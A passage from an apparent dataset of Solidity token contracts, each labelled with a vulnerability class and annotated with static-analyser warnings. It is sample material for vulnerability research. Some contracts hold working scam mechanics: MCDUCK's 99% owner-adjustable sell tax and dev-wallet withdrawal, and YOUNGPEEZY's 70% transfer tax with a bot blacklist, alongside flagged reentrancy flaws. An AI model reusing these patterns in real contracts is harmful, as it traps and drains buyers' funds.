true;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10193.sol",
"size_bytes": 22549,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a0e4413): Ownable.transferOwnership(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for a0e4413: Check that the address is not zero.\n function transferOwnership(address newOwner) public virtual onlyOwner {\n emit OwnershipTransferred(_owner, newOwner);\n\n\t\t// missing-zero-check | ID: a0e4413\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MCDUCK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 847df30): MCDUCK._devWallet should be immutable \n\t// Recommendation for 847df30: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n uint256 private _buyTax = 0;\n\n uint256 private _sellTax = 99;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3c1b69): MCDUCK.sellCount should be constant \n\t// Recommendation for e3c1b69: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 491d374): MCDUCK.lastSellBlock should be constant \n\t// Recommendation for 491d374: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n string private constant _name = unicode\"Scrooge McDuck\";\n\n string private constant _symbol = unicode\"MCDUCK\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 10000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ab5218): MCDUCK._taxSwapThreshold should be constant \n\t// Recommendation for 6ab5218: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eddb4ce): MCDUCK._maxTaxSwap should be constant \n\t// Recommendation for eddb4ce: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n uint256 public liquidityPercentage = 100;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b52600b): MCDUCK.uniswapV2Router should be immutable \n\t// Recommendation for b52600b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f175f1): MCDUCK.uniswapV2Pair should be immutable \n\t// Recommendation for 9f175f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(0x74211150F528868CBc25Aac0552f91c3613DeA28);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f36a5c): MCDUCK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f36a5c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7c5887): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7c5887: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e33a4c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e33a4c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d7c5887\n\t\t// reentrancy-benign | ID: e33a4c1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d7c5887\n\t\t// reentrancy-benign | ID: e33a4c1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function setLiquidityPercentage(uint256 _percentage) external onlyOwner {\n require(_percentage <= 100, \"Percentage cannot exceed 100\");\n\n liquidityPercentage = _percentage;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 077bf22): MCDUCK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 077bf22: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e33a4c1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d7c5887\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f6057a4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f6057a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4aecc04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4aecc04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n from != owner() &&\n to != owner() &&\n from != _devWallet &&\n to != _devWallet\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not active.\"\n );\n }\n\n taxAmount = amount.mul(_buyTax).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: f6057a4\n\t\t\t\t// reentrancy-eth | ID: 4aecc04\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f6057a4\n\t\t\t\t\t// reentrancy-eth | ID: 4aecc04\n sendETHToMw(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n taxAmount = 0;\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4aecc04\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f6057a4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4aecc04\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4aecc04\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f6057a4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f6057a4\n\t\t// reentrancy-events | ID: d7c5887\n\t\t// reentrancy-benign | ID: e33a4c1\n\t\t// reentrancy-eth | ID: 4aecc04\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3625f5): MCDUCK.addLP() ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,_devWallet,block.timestamp)\n\t// Recommendation for f3625f5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b940b4): MCDUCK.addLP() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2b940b4: Ensure that all the return values of the function calls are used.\n function addLP() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 ethBalance = address(this).balance;\n\n uint256 tokenAmount = tokenBalance.mul(liquidityPercentage).div(100);\n\n uint256 ethAmount = ethBalance;\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: f3625f5\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n _devWallet,\n block.timestamp\n );\n\n\t\t// unused-return | ID: 2b940b4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n\n swapEnabled = true;\n }\n\n function sendETHToMw(uint256 amount) private {\n\t\t// reentrancy-events | ID: f6057a4\n\t\t// reentrancy-events | ID: d7c5887\n\t\t// reentrancy-eth | ID: 4aecc04\n _devWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: adf3bbe): MCDUCK.setNewFee(uint256,uint256) should emit an event for _buyTax = finalFeeOnBuy _sellTax = finalFeeOnSell \n\t// Recommendation for adf3bbe: Emit an event for critical parameter changes.\n function setNewFee(\n uint256 finalFeeOnBuy,\n uint256 finalFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: adf3bbe\n _buyTax = finalFeeOnBuy;\n\n\t\t// events-maths | ID: adf3bbe\n _sellTax = finalFeeOnSell;\n }\n\n function removeTheLimits() external onlyOwner {\n _maxWalletSize = _tTotal;\n\n _maxTxAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n function tokensWithdraw() external {\n require(_msgSender() == _devWallet);\n\n uint256 amount = balanceOf(address(this));\n\n _transfer(address(this), _devWallet, amount);\n }\n}\n",
"file_name": "solidity_code_10194.sol",
"size_bytes": 18047,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YOUNGPEEZY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a30db80): YOUNGPEEZY._taxWallet should be immutable \n\t// Recommendation for a30db80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8698ab0): YOUNGPEEZY._initialBuyTax should be constant \n\t// Recommendation for 8698ab0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd3da62): YOUNGPEEZY._initialSellTax should be constant \n\t// Recommendation for fd3da62: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 886f817): YOUNGPEEZY._reduceBuyTaxAt should be constant \n\t// Recommendation for 886f817: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6577f93): YOUNGPEEZY._reduceSellTaxAt should be constant \n\t// Recommendation for 6577f93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32c5e4c): YOUNGPEEZY._preventSwapBefore should be constant \n\t// Recommendation for 32c5e4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 24;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Young Peezy\";\n\n string private constant _symbol = unicode\"PEEZY\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c67d5c): YOUNGPEEZY._taxSwapThreshold should be constant \n\t// Recommendation for 2c67d5c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f88c7f2): YOUNGPEEZY._maxTaxSwap should be constant \n\t// Recommendation for f88c7f2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 364e0ca): YOUNGPEEZY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 364e0ca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2233a54): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2233a54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1d50612): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1d50612: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2233a54\n\t\t// reentrancy-benign | ID: 1d50612\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2233a54\n\t\t// reentrancy-benign | ID: 1d50612\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c39b65): YOUNGPEEZY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c39b65: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1d50612\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2233a54\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a34b847): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a34b847: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4a4fd52): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4a4fd52: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a34b847\n\t\t\t\t// reentrancy-eth | ID: 4a4fd52\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a34b847\n\t\t\t\t\t// reentrancy-eth | ID: 4a4fd52\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4a4fd52\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4a4fd52\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4a4fd52\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a34b847\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4a4fd52\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4a4fd52\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a34b847\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2233a54\n\t\t// reentrancy-events | ID: a34b847\n\t\t// reentrancy-benign | ID: 1d50612\n\t\t// reentrancy-eth | ID: 4a4fd52\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b6542c5): YOUNGPEEZY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b6542c5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2233a54\n\t\t// reentrancy-events | ID: a34b847\n\t\t// reentrancy-eth | ID: 4a4fd52\n\t\t// arbitrary-send-eth | ID: b6542c5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n 